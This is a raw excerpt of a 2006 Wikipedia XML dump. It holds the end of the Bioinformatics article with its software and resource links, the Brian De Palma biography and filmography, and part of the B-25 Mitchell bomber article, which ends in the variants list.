[http://taverna.sourceforge.net/ Taverna] an open-source bioinformatics workbench that utilises a [[workflow]] model of experimental design.  [http://taverna.sourceforge.net/ Taverna] is included as part of the [http://www.mygrid.org.uk/ myGRID] package of e-science software.
[http://www.q-pharm.com  Quantum 3.1] is an example of the bioinformatics post-[[QSAR]]  technology applying quantum and molecular physics instead of statistical methods. 

&lt;!-- Please do not add advertisements for commerical tools here. Objective descriptions of noteworthy commercial tools are fine, but ads are not. --&gt;

== See also ==

* [[Biomedical informatics]]
* [[Biologically-inspired computing]]
* [[Natural computation]]
* [[List_of_publications_in_biology#Bioinformatics|List of publications in bioinformatics]]
* [[Molecular modelling]]
* [[Morphometrics]]
* [[Metabolic network]]
* [[Biocybernetics]]
* [[Computational biomodeling]]

=== Related fields ===

* [[applied mathematics]] &amp;mdash; [[biology]] &amp;mdash; [[computer science]] &amp;mdash; [[informatics]] &amp;mdash; [[mathematical biology]] &amp;mdash; [[theoretical biology]] &amp;mdash; [[Scientific computing]] &amp;mdash; [[cheminformatics]] &amp;mdash; [[computational science]]

==External links==

* [http://wikiomics.org Wikiomics.org: bioinformatics wiki] for users and developers of bioinformatics worldwide. Focused on practical questions and pointers towards both academic publications and software resources (opened November 2005). &lt;!-- please use it instead of cluttering Wikipedia with links; that's the right place for most of the stuff below --&gt;

* Major Societies
*[http://www.iscb.org/ The International Society for Computational Biology]

* Major Organizations
**[http://bioinformatics.org/ Bioinformatics Organization (Bioinformatics.Org): The Open-Access Institute]
**[http://www.embnet.org/ EMBnet is a science-based group of collaborating nodes throughout Europe and a number of nodes outside Europe]
**[http://www.cbse.ucsc.edu/ UCSC Center for Biomolecular Science and Engineering]
**[http://www.ebi.ac.uk/ European Bioinformatics Institute]
**[http://www.embl.org/ European Molecular Biology Laboratory]
**[http://www.girinst.org/ Genetic Information Research Institute]
**[http://www.ncbi.nlm.nih.gov/ National Center for Biotechnology Information]
**[http://www.open-bio.org/ Open Bioinformatics Foundation: umbrella non-profit organization supporting certain open-source projects in bioinformatics]
**[http://ncbo.us National Center for Biomedical Ontology]
**[http://www.jgi.doe.gov/ US Department of Energy Joint Genome Institute]

* Software projects
**[http://amos.sourceforge.net/ AMOS: a modular, open-source genome assembler]
**[http://www.biosimgrid.org/ BioSimGrid: a distributed database for biomolecular simulations]
**[http://www.bioconductor.org/ Bioconductor]
**[http://www.cbi.cnptia.embrapa.br/SMS Diamond STING]
**[http://bioinformatics.upmc.edu/ UPMC Bioinformatics Web Tools]
**[http://www.biojava.org/ BioJava]
**[http://biomap.org/ BIOMAP Project: Creating a Unified Global Map of various Macromolecular Biological Structures]
**[http://www.bind.ca/ Biomolecular Interaction Network Database]
**[http://www.bioperl.org/ BioPerl]
**[http://www.biophp.org/ BioPHP]
**[http://www.biolinux.fac.org.ar/ BioLinux]
**[http://www.biopython.org/ BioPython]
**[http://www.bioruby.org/ BioRuby]
**[http://www.phylo.org/ CIPRES Project: The Cyber-Infrastructure for Phylogenetic Research]
**[http://emboss.sourceforge.net/ EMBOSS]
**[http://www.ensembl.org/ Ensembl]
**[http://www.gmod.org/ GMOD: The Generic Model Organism Database Project]
**[http://harvester.embl.de/ HARVESTER: bioinformatic meta search engine for proteins in human, mouse and rat]
**[http://manatee.sourceforge.net/ MANATEE: a web-based system for genome annotation and curation]
**[http://proteomeontology.org/ Proteome Ontology Project: An effort to build a Protein Ontology Specification, a part of BIOMAP Project]
**[http://bioinformatics.georgetown.edu/Sequerome.htm Sequerome]
**[http://seqhound.blueprint.org/ Seqhound]
**[http://sidhe.cs.uni.edu/marbl.html MARBL: Text Indexing &amp; Retrieval from Bioinformatics Libraries GPL open source software package to search Genbank]
**[http://www.cs.uni.edu/~okane/source/IDF/idf.html Inverse Document Frequency Weighted Genomic Sequence Retrieval]
**[http://bio.macfast.org/bide/ BiDE - The Bioinformatics Desktop Environment - An Open Source project to develop a  compact Red Hat Linux-based single CD installation, which provides all the flavours of bioinformatics to your desktop]
**[http://www.biocircle.org/bide BioCircle BiDE Page]
**[http://www.ebioinformatics.org/ eBiotools: A software package that brings most of the Bioinformatics programs to the MacOSX]

*Comprehensive, Reviewed, Third-Party Course Lists
**[http://wbiomed.curtin.edu.au/teach/biochem/resources/Bioinformatics.html A long list of courses world wide].
**[http://www.ebi.ac.uk/training/ Training courses] at the [[European Bioinformatics Institute]].
**[http://www.ensembl.org/info/courses.html Courses] given about [[Ensembl]].

*Major Journals

**[http://compbiol.plosjournals.org PLoS Computational Biology] 
**[http://www.nature.com/msb/index.html Nature Molecular Systems Biology]
**[http://bioinformatics.oupjournals.org/ Bioinformatics journal]
**[http://www.biomedcentral.com/bmcbioinformatics BMC Bioinformatics journal]
**[http://www.la-press.com/caninfo.htm Cancer Informatics Open Access journal]
**[http://www.embnet.org/download/embnetnews/index.html EMBnet.News Online  Journal]

*Other Important Sites
**[http://www.molecularstation.com/bioinformatics/ Bioinformatics Portal to News, Online Tools, and Articles.]
**[http://www.biocircle.org/ OpenSource Bioinformatics / Computational Systems Biology portal]
**[http://www.bionews.in/ Bioinformatics News]
**[http://www.bioinfo-online.net/ Bioinfo-Online News]
**[http://bio.oreilly.com/ Books and articles on Bioinformatics from O'Reilly]
**[http://gchelpdesk.ualberta.ca/servers/servers.php Genome Canada: Canadian Bioinformatics Help Desk]
**[http://www.ornl.gov/TechResources/Human_Genome/research/informatics.html Human Genome Project and Bioinformatics]
**[http://ontology.buffalo.edu/smith Barry Smith's biomedical ontology site]
**[http://www.microbesonline.org Virtual Insitute of Microbial Stress and Survival (VIMSS)]

==Notes &amp; references==
# {{note|Beer_2004}} Beer MA, Tavazoie S. &quot;[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=15084257 Predicting gene expression from sequence].&quot; In ''Cell''. 2004 Apr 16;117(2):185-98.]

==Bibliography==
* Baxevanis, A.D. and Ouellette, B.F.F., eds., ''Bioinformatics: A Practical Guide to the Analysis of Genes and Proteins'', third edition. Wiley, 2005. ISBN 0471478784
* Claverie, J.M. and C. Notredame, ''Bioinformatics for Dummies''. Wiley, 2003. ISBN 0764516965
* Durbin, R., S. Eddy, A. Krogh and G. Mitchison, ''Biological sequence analysis''. Cambridge University Press, 1998. ISBN 0521629713
* Kohane, et al. ''Microarrays for an Integrative Genomics.'' The MIT Press, 2002. ISBN 026211271X
* Michael S. Waterman, ''Introduction to Computational Biology: Sequences, Maps and Genomes''. CRC Press, 1995. ISBN 0412993910
* Mount, David W.  ''Bioinformatics: Sequence and Genome Analysis'' Spring Harbor Press, May 2002. ISBN 0879696087
* Pevzner, Pavel A. ''Computational Molecular Biology: An Algorithmic Approach'' The MIT Press, 2000. ISBN 0262161974

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    <title>Brian de Palma</title>
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      <text xml:space="preserve">#REDIRECT [[Brian De Palma]]</text>
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    <title>Brian De Palma</title>
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      <comment>/* Career beginnings and highlights */</comment>
      <text xml:space="preserve">[[Image:Brian de Palma (director).jpg|thumb|Brian De Palma]]
'''Brian De Palma''' (born [[September 11]] [[1940]] in [[Newark, New Jersey]]) is an [[Italian-American]] [[film director]].

De Palma is often cited as a leading member of the [[Movie Brat]] generation of film directors, a distinct pedigree who either emerged from film schools or are overtly cine-literate. His contemporaries include [[Paul Schrader]], [[Martin Scorsese]], [[John Milius]], [[George Lucas]], [[Francis Ford Coppola]], and [[Steven Spielberg]]. Throughout the '70s and early '80s, De Palma worked repeatedly with actors [[Jennifer Salt]], [[Amy Irving]], [[Nancy Allen (actress)|Nancy Allen]] (his wife from 1979 to 1983), [[William Finley (actor)|William Finley]], [[Charles Durning]], [[Gerrit Graham]], cinematographers [[Stephen H. Burum]] and [[Vilmos Zsigmond]], set designer [[Jack Fisk]], and composers [[Bernard Herrmann]] and [[Pino Donaggio]]. De Palma is credited with fostering the careers of or outright discovering [[Robert De Niro]], [[Jill Clayburgh]], [[John C. Reilly]], [[John Leguizamo]], and [[Margot Kidder]]. De Palma has encouraged and fostered the filmmaking careers of directors such as [[Mark Romanek]] and [[Keith Gordon]]. [[Terrence Malick]] credits seeing De Palma's early films on college campus tours as a validation of [[independent film]], and subsequently switched his attention from [[philosophy]] to filmmaking.

De Palma, whose background is [[Italian people|Italian]] [[Catholic]], was raised in [[Philadelphia]] and [[New Jersey]] in various [[Protestant]] and [[Religious Society of Friends|Quaker]] schools. The frisson between the Catholic and Protestant ethic is exemplified in De Palma's cinema, where the [[grand guignol]] exists alongside the [[status quo]], where the normal is made epic and the extraordinary deflated into the mainstream. 

Enrolled at [[Columbia University|Columbia]] as a physics student, De Palma became enraptured with the filmmaking process after viewing ''[[Citizen Kane]]'' and ''[[Vertigo (film)|Vertigo]]''. He switched majors and enrolled at the newly coed [[Sarah Lawrence College]] in the late [[1960s]], becoming one of the first male students among a female population. Once there, influences as various as drama teacher Wilford Leach, the [[Albert and David Maysles|Maysles brothers]], [[Michelangelo Antonioni]], [[Jean-Luc Godard]], [[Andy Warhol]] and [[Alfred Hitchcock]] impressed upon De Palma the many styles and themes that would shape his own cinema in the coming decades. An early association with discovery [[Robert De Niro]] resulted in ''[[The Wedding Party]]'', codirected with Leach and producer Cynthia Munroe. The film was shot in [[1963]] but remained unreleased until [[1969]], when De Palma's star had risen sufficiently within the [[Greenwich Village]] filmmaking scene, though De Niro's remained low enough for the credits to display his name as &quot;Robert Denero&quot;. Various small films for the [[NAACP]] and The [[Treasury Department]] followed.

Early efforts ''[[Greetings (film)|Greetings]]'' and ''[[Hi, Mom!]]'' (starring De Niro) espouse a [[Leftist]] [[revolutionary]] viewpoint common of their era, and experiments in narrative and [[intertextuality]] reflect De Palma's stated intention to become the &quot;American Godard.&quot; ''Hi, Mom!'', in its ''[[Be Black, Baby]]'' sequence, parodies [[cinéma vérité]], championed by the documentary movement of the late '60s, while simultaneously providing the audience with as visceral and disturbingly emotional an experience as fiction film can provide, and remains a significant touchstone in interpreting De Palma's filmography.

== Career beginnings and highlights ==

Following a disastrous [[Hollywood]] foray, in which his next film ''[[Get to Know Your Rabbit]]'' was reedited by [[Warner Bros.]] at the behest of star [[Tom Smothers]], De Palma returned to [[independent film]]. Both ''[[Sisters (movie)|Sisters]]'' and ''[[Phantom of the Paradise]]'' were [[tongue-in-cheek]] experiments in [[pure cinema]] and allowed De Palma to jettison the more dated [[hippie]] trappings of his earlier films. ''[[Obsession]]'', an emotional alternative take on ''[[Vertigo (film)|Vertigo]]'' scripted by [[Paul Schrader]], seems less now a bold attempt to usurp [[Alfred Hitchcock]] than an extension of the experiment begun on ''[[Sisters (movie)|Blood Sisters]]'', using the [[Hitchcock]] film as a template to analyze male and female roles and how an audience expects them to be reinforced. It is this tension, at once removed from the superficial elements of the plot or characters, yet intended to elicit emotional responses, that drives De Palma's work; the somewhat notorious reputation he has earned and the critical dismissal De Palma has experienced is a direct result of the [[distantiation]] techniques he employs in films that use the methodology of thrillers to engage the audience. De Palma's chief entrance into the mainstream has been his public image (fostered by De Palma in the early [[1980s]] and later rejected as counterproductive) as a combative and controversial director of sex and violence.

'''De Palma''', a veteran of the New York underground scene, had yet to produce a certifiable commercial hit by 1975, while his friends [[Steven Spielberg]] and [[Martin Scorsese]] benefitted from a comparatively larger financial and critical windfall. Therefore his next film, the [[psychic]] thriller ''[[Carrie]]'' is seen by some as De Palma's bid for a blockbuster. In fact, the project was small, underfunded by [[United Artists]], and well under the cultural radar during the early months of production, as [[Stephen King]]'s source novel had yet to climb the bestseller list. De Palma gravitated toward the project and changed crucial plot elements based upon his own predilections, not the salability of the novel. The cast was young and relatively new, though stars [[Sissy Spacek]] and [[John Travolta]] had gained considerable attention for previous work in, respectively, film and episodic [[sitcom]]s. ''Carrie'' became a hit, the first genuine box-office success for De Palma. Preproduction for the film had coincided with the casting process for [[George Lucas]]'s ''[[Star Wars Episode IV: A New Hope]]'', and many of the actors cast in De Palma's film had been earmarked as contenders for Lucas's, and vice-versa. The &quot;shock ending&quot; finale is effective even while it upholds horror-film convention, its suspense sequences are buttressed by [[teen comedy]] tropes, and its use of [[split-screen]], split-diopter and [[slow motion]] shots tell the story visually rather than through dialogue.

The financial and critical success of ''Carrie'' allowed De Palma to pursue more personal material. ''[[The Demolished Man]]'' was a novel that had fascinated De Palma since the late [[1950s]] and appealed to his background in mathematics and [[avant-garde]] storytelling. Its unconventional unfolding of plot (exemplified in its mathematical layout of dialogue) and its stress on perception have analogs in De Palma's filmmaking. He sought to adapt it on numerous occasions, though the project would carry a substantial price tag, and has yet to appear onscreen (Steven Spielberg's adaptation of [[Philip K. Dick]]'s ''[[Minority Report]]'' bears striking similarities to De Palma's visual style and some of the themes of ''The Demolished Man''). The result of his experience with adapting ''The Demolished Man'' was ''[[The Fury (film)|The Fury]]'', a [[sci-fi]] psychic thriller that starred [[Kirk Douglas]], [[Carrie Snodgress]], [[John Cassavetes]] and [[Amy Irving]]. The film was admired by [[Jean-Luc Godard]], who featured a clip in his mammoth [[Histoire(s) du cinéma]] and [[Pauline Kael]], who championed both ''The Fury'' and De Palma. The film boasted a larger budget than ''[[Carrie]]'', though the consensus view at the time was that De Palma was repeating himself, with diminishing returns. As a film it retains De Palma's considerable visual flair, but points more toward his work in mainstream entertainments such as ''[[The Untouchables]]'' and ''[[Mission: Impossible (movie)|Mission: Impossible]]'', the thematic complex thrillers for which he is better known.

For many film-goers, De Palma's gangster films, most notably ''[[Scarface (1983 film)|Scarface]]'' and ''[[Carlito's Way]]'', pushed the envelope of violence and depravity, and yet greatly vary from each other in both style and content and also illustrate De Palma's evolution as a film-maker. In essence, Scarface's excesses contrast with the more emotional tragedy of Carlito's Way. Both films feature Al Pacino in what has become a fruitful working relationship.

== Themes and Critical Opinion ==

His works explore themes of [[suspense]] and [[obsession]], along with [[gender identity]] and the destructive nature of the [[male gaze]]. He is famous for his extensive use of [[split screen]], split-diopter and process shots, and long tracking shots.  His films also frequently feature characters changing their hair colour from blonde to brunette and vice versa.

Critics of De Palma accuse him of being [[misogyny|misogynistic]] and of emphasizing technical aspects of storytelling at the expense of human stories. These views, along with the charge of 'ripping off' various filmmakers, is slowly fading from mainstream critical analysis of De Palma's work, as the complexities of his [[Film editing|montage]] and [[mise en scène]] come into focus. Emerging views of De Palma compare him less and less with modernist filmmakers like [[Alfred Hitchcock]] and more with transgressionists such as [[Luis Bunuel]] and Jean-Luc Godard and to traditions ranging from [[Surrealism]], [[Postmodernism]] to the [[theatre of the Absurd|theater of the Absurd]].

==Trivia==
His father, [[Anthony DePalma]], was an [[orthopedic]] [[surgery|surgeon]] and teacher who made a lifelong contribution to the practice of medicine. His oldest brother [[Bruce De Palma]], who passed away in 1997, was a well known figure in the [[alternative energy]] community, while [[Bart De Palma]] is an artist who contributed photographic mosaics (and a cameo appearance) to ''[[Femme Fatale (movie)|Femme Fatale]]''. 

DePalma was interested in [[physics]] in his youth and won the top prize in his [[high school]]'s regional [[science fair]]. He placed second in the nation in 1957 and 1958. The 1957 project was entitled &quot;The Application of Cybernetics to the Solution of Differential Equations.&quot; 

An incident involving a stolen motorcycle left De Palma in a New York City jail overnight after a bullet was removed from his leg, courtesy of the [[New York City Police Department|NYPD]].

He directed [[Bruce Springsteen]]'s &quot;[[Dancing In The Dark]]&quot; [[music video]] and is widely believed to have written the crawl that begins ''[[A New Hope|Star Wars]]''.

DePalma has refused to answer [[Scarface (1983 film)|Scarface]] fans whether Pacino really snorted the cocaine, and if the cocaine was real.

He is the step-father of american model and actress [[Willa Holland]]

Brian De Palma has been offered, considered for, or associated with the production of films as disparate as ''[[Demon Seed]]'' (which featured De Palma regular [[Gerrett Graham]]), ''[[Grease (film)|Grease]]'', ''[[Flashdance]]'', ''[[Cruising (film)|Cruising]]'', ''[[Prince of the City]]'', ''[[Act of Vengeance]]'', ''[[The Truman Show]]'', and the remake of ''[[The Manchurian Candidate]]''. In the latter two cases, De Palma was rejected by producer [[Scott Rudin]].

==Director Trademarks==
*Split screen

*Split Diopters

*Many [[Alfred Hitchcock]] homages, using similar locations and camera techniques.

*The &quot;Long Take&quot; which is usually complimented by a series of elaborate tracking shots or dolly movements

*Has commissioned Hitchcockian compositions for his films, and worked with [[Bernard Herrmann]] (a composer who worked a lot with [[Alfred Hitchcock]] prior to Herrmann's death.

*Dopplegangers (or evil twin), and femme fatales appear frequently in De Palma's films.

*Often shoots 'tense' moments without any widening lens or zoom. When coupled with his trademark extended shot, it creates a feeling the viewer is in the scene.

==Filmography==
* ''[[The Black Dahlia (movie)|The Black Dahlia]]''
*''[[Femme Fatale (movie)|Femme Fatale]]'' ([[2002 in film|2002]])
*''[[Mission to Mars]]'' ([[2000 in film|2000]])
*''[[Snake Eyes (movie)|Snake Eyes]]'' ([[1998 in film|1998]])
*''[[Mission: Impossible (movie)|Mission: Impossible]]'' ([[1996 in film|1996]])
*''[[Carlito's Way]]'' ([[1993 in film|1993]])
*''[[Raising Cain]]'' ([[1992 in film|1992]])
*''[[The Bonfire of the Vanities]]'' ([[1990 in film|1990]])
*''[[Casualties of War (movie)|Casualties of War]]'' ([[1989 in film|1989]])
*''[[The Untouchables]]'' ([[1987 in film|1987]])
*''[[Wise Guys (film)|Wise Guys]]'' ([[1986 in film|1986]])
*''[[Body Double (movie)|Body Double]]'' ([[1984 in film|1984]])
*''[[Scarface (1983 movie)|Scarface]]'' ([[1983 in film|1983]])
*''[[Blow Out]]'' ([[1981 in film|1981]])
*''[[Dressed to Kill]]'' ([[1980 in film|1980]])
*''[[Home Movies]]'' ([[1979 in film|1979]])
*''[[The Fury (film)|The Fury]]'' ([[1978 in film|1978]])
*''[[Carrie]]'' ([[1976 in film|1976]])
*''[[Obsession (movie)|Obsession]]'' (1976)
*''[[Phantom of the Paradise]]'' ([[1974 in film|1974]])
*''[[Sisters (movie)|Sisters]]'' ([[1973 in film|1973]])
*''[[Get to Know Your Rabbit]]'' ([[1972 in film|1972]])
*''[[Dionysus (movie)|Dionysus]]'' ([[1970 in film|1970]])
*''[[Hi, Mom!]]'' (1970)
*''[[The Wedding Party]]'' ([[1969 in film|1969]])
*''[[Greetings (film)|Greetings]]'' ([[1968 in film|1968]])
*''[[Murder a la Mod]]'' (1968)
*''[[The Responsive Eye]]'' ([[1966 in film|1966]])
*''[[Show Me a Strong Town and I'll Show You a Strong Bank]]'' (1966)
*''[[Bridge That Gap]]'' ([[1965 in film|1965]])
*''[[Jennifer (1964 film)|Jennifer]]'' ([[1964 in film|1964]])
*''[[Wotans Wake]]'' ([[1962 in film|1962]])
*''[[660124 The Story of an IBM Card]]'' ([[1961 in film|1961]])
*''[[Icarus (movie)|Icarus]]'' ([[1960 in film|1960]])

==Bibliography==

*[http://www.lib.berkeley.edu/MRC/depalma.html Brian De Palma bibliography] (via UC Berkeley)

== External links ==
* {{imdb name|id=0000361|name=Brian De Palma}}
*[http://www.sensesofcinema.com/contents/directors/03/de_palma.html Senses of Cinema: Great Directors Critical Database]
* [http://www.briandepalma.net/ Directed by Brian De Palma] - Unofficial De Palma fan site
* [http://www.24liesasecond.com/site2/ 24 Lies A Second] - Essays on De Palma + Discussion Board
* [http://www.angelfire.com/de/palma/ De Palma à la Mod] - De Palma News of the Day

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  <page>
    <title>B-25 Mitchell</title>
    <id>4218</id>
    <revision>
      <id>42020533</id>
      <timestamp>2006-03-03T06:57:48Z</timestamp>
      <contributor>
        <username>Emt147</username>
        <id>545524</id>
      </contributor>
      <comment>/* Specifications (B-25J) */ oops... math hard</comment>
      <text xml:space="preserve">&lt;!-- This article is a part of [[Wikipedia:WikiProject Aircraft]]. Please see [[Wikipedia:WikiProject Aircraft/page content]] for recommended layout. --&gt;
[[Image:B-25 Flying.jpg|300px|thumb|right|A B-25 Mitchell in flight during World War II&lt;br&gt;&lt;small&gt;From the [[Maxwell Air Force Base]] website ([http://www.maxwell.af.mil/au/afhra/wwwroot/photo_galleries/aaf_wwii_vol_vi/Captions/178_Medium_Bomber.htm original image]).]]
The '''B-25 Mitchell''' was a twin-engine, [[medium bomber]] manufactured by [[North American Aviation]] in the [[United States]] and used during [[World War II]].  By the time production of the plane ended, roughly 10,000 had been built, including PBJ-1 [[United States Navy|Navy]] Patrol Bomber and F-10 [[reconnaissance]] versions.  

It served in every combat theatre and was used by a number of countries other than the United States, including [[Australia]], the [[United Kingdom]] (which received more than 900), [[People's Republic of China|China]], [[The Netherlands]], and [[Soviet Union|Russia]].  Its nickname 'Mitchell' was in honour of General [[Billy Mitchell]], an early proponent of airpower.

The B-25 is most famous as the bomber used in the [[1942 in aviation|1942]] [[Doolittle Raid]], in which the raiders took off from the [[aircraft]] carrier [[USS Hornet|USS ''Hornet'']], bombed [[Tokyo]], and then ran out fuel on the way to friendly territory in [[China]]; a B-25 also collided with the [[Empire State Building]] in [[1945 in aviation|1945]].

The B-25 is the aircraft featured in the popular and influential novel ''[[Catch-22]]'' and [[Catch-22 (film)|subsequent film]].

== Development ==
The B-25 was a descendant of the aborted [[North American XB-21|XB-21]] (North American-39) project of the mid-[[List of years in aviation#1930s in aviation|1930s]].  Experience gained in making the XB-21 was used by North American in designing the B-25 (NA-40). One NA-40 was built; several modifications were made on it to test a number of potential features, including the replacement of its [[Pratt &amp; Whitney R-1830]] [[radial engines]] with [[Wright R-2600]] radials which would become standard on the B-25.

The product of these experiments, dubbed the NA-40B, was submitted to the [[United States Army Air Corps]] for evaluation near the end of [[1939 in aviation|1939]].  It was intended to be an attack bomber, to be exported to the [[United Kingdom]] and [[France]], both of which had a pressing requirement for such aircraft in the early stages of World War II.  However, the NA-40B was passed up in favour of the plane that would become the [[A-20 Havoc]].  Despite this loss, the NA-40B re-entered the spotlight when the Army evaluated it for use as a [[medium bomber]]. Unfortunately, the NA-40B was destroyed in a crash on [[1939 in aviation|1939]] [[April 11]].  Nonetheless, the design was ordered for production in [[1939 in aviation|1939]].

== Early production ==
Along with the [[B-26 Marauder]], the B-25 was ordered by the Army for production in 1939.  An improvement on the NA-40B, dubbed the NA-62, was the basis for the first B-25 version.  Due to a desperate need for [[medium bomber]]s, no experimental or service-test versions were built.  Any necessary modifications were made during production runs, or to existing aircraft at field modification centres.  

The most significant change was a rearrangement of the wing.  In the first nine aeroplanes of the production line, a [[dihedral]] wing was used.  This design had some stability issues, so the dihedral angle was nullified on the outboard section of the wing, giving the B-25 a distinct [[gull wing]] configuration.  One less important change was an increase in the size of the fins and a decrease in the inward cant.

== Operational history ==
Following a number of modifications, including improved engines, a sighting blister for the navigator, more nose armament, and de-icing and anti-icing equipment, the B-25C was released to the Army.  It was the first mass-produced version of the B-25.  The B-25D was identical, except in location: whereas the B-25C was built in [[Inglewood, California]], the B-25D was built in [[Kansas City, Kansas]].  A total of 3915 B-25Cs and B-25Ds were built by North American during the course of the war.

While the B-25 was meant originally to bomb from medium altitudes in level flight, it was used frequently in the [[Pacific Theatre of Operations|Pacific Theater]] in treetop-level missions against Japanese airfields and for operations such as [[strafing]] and skip-bombing against enemy Japanese shipping.

Because of extreme need for durable aircraft to use in strafing missions, a version of the B-25 dubbed the B-25G was developed, in which the transparent nose was replaced by a solid nose.  This housed two fixed .50-calibre [[machine guns]] and a 75 mm M4 cannon, the largest calibre weapon ever used on an American bomber.  The 75 mm cannon was manually loaded by the navigator who not only had to stand inside the windowless nose filled with gunpowder smoke during attack runs but also to constantly watch for the cannon breech which recoiled into the compartment and ejected very hot brass shells. The B-25G’s successor, the B-25H, had even more firepower with the addition of 6 fixed .50-calibre machine guns. Fourteen hundred B-25Gs and B-25Hs were built.

The last produced version, the B-25J, was somewhere between the B-25C and the B-25H.  It maintained much of the fixed armament of the B-25H, but the solid nose was replaced by a ‘greenhouse’ one seen on earlier models, though 800 B-25Js were converted to a solid nose version.  It also featured improved engines.  A total of 4318 B-25Js were built.

The B-25 was a safe and forgiving aircraft to fly. With an engine out, 60° banking turns into the dead engine were possible and control could be easily maintained down to 145 mph (230 km/h). The tricycle landing gear made for excellent visibility while taxiing. It was also an amazingly sturdy aircraft. One well-known B-25C from [[321st Bomb Group]] was nicknamed &quot;Patches&quot; because its crew chief painted all [[flak]] hole patches with [[zinc chromate]]. By the end of the war, the aircraft had completed over 300 missions, was belly-landed half a dozen times, and had over 400 patched holes. The airframe was so bent that straight-and-level flight required 8° of left [[aileron]] trim and 6° of right rudder, causing the aircraft to &quot;crab&quot; sideways across the sky. The biggest complaint about the B-25 was the high level of noise and most pilots with significant time in the type ended up with [[hearing loss]] (Higham 1978).

An interesting characteristic of the B-25 was that its range could be extended by using one-quarter flaps. Since the aircraft typically cruised in a slight nose-high attitude, about 40 US gallons (150 l) of fuel was below the fuel pickup and thus unavailable. The flaps gave the aircraft a more level attitude thus slightly extending the range (Higham 1975).

The B-25 was occasionally called &quot;Baker Two Bits.&quot;

== De-icing tests ==
In [[1942 in aviation|1942]], two B-25Cs were converted to test aircraft to investigate de-icing and anti-icing equipment; they were redesignated the XB-25E and XB-25F.  The XB-25E (nicknamed ‘Flamin’ Maimie’) used engine exhaust gases circulated through chambers in the wing to melt ice.  The XB-25F used insulated electrical coils, to heat metal surfaces.  Both were tested extensively until [[1944 in aviation|1944]]; the XB-25E system was extremely reliable and more practical than the XB-25F system.

While the results of tests on the XB-25E were promising, no aircraft during World War II was built that utilised that system.  It is a common method today.  Most prop planes used by the [[United States Air Force]] use so-called ‘piccolo tubes’ that run along the leading edges of the wings.  Hot air bled from the engine is blown through those tubes, and melts any ice that may form on the wing.

The further history of the XB-25F is unknown, but the sole XB-25E (42-32281) was scrapped.

== XB-28 ==
A descendant of the B-25 was the [[XB-28 Dragon]], meant to be a high-altitude version of the B-25.  Despite this premise, the actual aircraft evolved to be little like the Mitchell.  It was much more similar to the [[B-26 Marauder]].

== Units Using the B-25 ==
=== [[United States Army Air Forces]] ===
*12th Bomb Group
*17th Bomb Group
*28th Bomb Group

=== [[Royal Air Force]] ===
* Number 98 Squadron
* Number 180 Squadron
* Number 226 Squadron
* Number 305 Squadron
* Number 320 Squadron
* Number 342 Squadron
* Number 681 Squadron
* Number 684 Squadron

=== [[Royal Australian Air Force]] ===
* Number 18 (Netherlands East Indies) Squadron

== Variants and Design stages ==
*'''[http://www.wpafb.af.mil/museum/research/bombers/b3-2.htm B-25]'''&amp;mdash;The first version of the B-25 delivered.  It was so badly needed that no prototype stages were ordered.  The first nine planes were built with constant [[dihedral]] angle.  Due to low stability, the wing was redesigned so that the dihedral angle was eliminated on the outboard section.  (&amp;times;24)
*'''[http://www.wpafb.af.mil/museum/research/bombers/b3-3.htm B-25A]'''&amp;mdash;Version of the B-25 modified to make it combat ready; additions included [[self-sealing fuel tank]]s, crew armour, and an improved tail gunner station.  No changes were made in the armament.  Redesignated obsolete (RB-25A designation) in [[1942 in aviation|1942]].  (&amp;times;40)
*'''[http://www.wpafb.af.mil/museum/research/bombers/b3-4.htm B-25B]'''&amp;mdash;Tail gunner eliminated; dorsal and ventral turrets added, each with a pair of .50-calibre [[machine gun]]s.  The ventral turret was retractable, but the increased drag still reduced the cruise speed by 30 mph (48 km/h). 23 were delivered to the RAF as the '''Mitchell Mk I'''.(&amp;times;120)
*'''[http://www.wpafb.af.mil/museum/research/bombers/b3-5.htm B-25C]'''&amp;mdash; Improved version of the B-25B: upgraded from [[Wright R-2600]]-9 radials to R-2600-13 radials; deicing and anti-icing equipment was added; the navigator received a sighting blister; and nose armament was increased to two .50-calibre [[machine gun]]s, one fixed and one flexible. The B-25C model was the first mass produced B-25 version; it was also used in the [[United Kingdom]] as the '''Mitchell II''', and in [[Canada]], [[People's Republic of China|China]], [[The Netherlands]], and [[Soviet Union|Russia]].  First mass-produced B-25.  (&amp;times;1625)
*'''[http://www.wpafb.af.mil/museum/research/bombers/b3-6.htm B-25D]'''&amp;mdash;  Identical to the B-25C.  The only difference was that the B-25C was made in [[Inglewood, California]] whereas the B-25D was made in [[Kansas City, Kansas]].  First flew on [[1942 in aviation|1942]] [[January 3]].  (&amp;times;2290)
*'''[http://www.wpafb.af.mil/museum/research/bombers/b3-7.htm XB-25E]'''&amp;mdash;Single B-25C modified to test de-icing and anti-icing equipment that circulated exhaust from the engines in chambers in the leading and trailing edges and empennage.  The plane was tested for almost two years, beginning in [[1942 in aviation|1942]]; while the system proved extremely effective, no planes were built that used it before the end of [[World War II]].  Many prop planes today use the XB-25E system.  (&amp;times;1, converted)
*'''[http://www.wpafb.af.mil/museum/research/bombers/b3-8.htm XB-25F]'''&amp;mdash;A modified B-25C that tested the use of insulated electrical de-icing coils mounted inside the wing and empennage leading edges as a de-icing system.  The hot air de-icing system tested on the XB-25E was more practical.  (&amp;times;1, converted)
*'''[http://www.wpafb.af.mil/museum/research/bombers/b3-9.htm XB-25G]'''&amp;mdash;Modified B-25C in which the transparent nose was replaced by a solid one, with two fixed .50-calibre [[machine guns]] and a 2.95-calibre (75 mm) M4 Cannon, the largest weapon ever carried on an American bomber.  (&amp;times;1, converted)
*'''[http://www.wpafb.af.mil/museum/research/bombers/b3-10.htm B-25G]'''&amp;mdash;To satisfy the dire need for ground-attack and strafing aircraft, the B-25G was made following the success of the prototype XB-25G.  The production model featured increased armour and a greater fuel supply than the XB-25G.  One B-25G was passed to the British, who gave it the name '''Mitchell II''' that had been used for the B-25C.  (&amp;times;420)
*'''[http://www.wpafb.af.mil/museum/research/bombers/b3-11.htm B-25H]'''&amp;mdash;An improved version of the B-25G.  It featured two more fixed .50-calibre machine guns in the nose, and four in fuselage-mounted pods; the heavy M4 cannon was replaced by a lighter 2.95-calibre (75 mm) T13E1.  (&amp;times;1000)
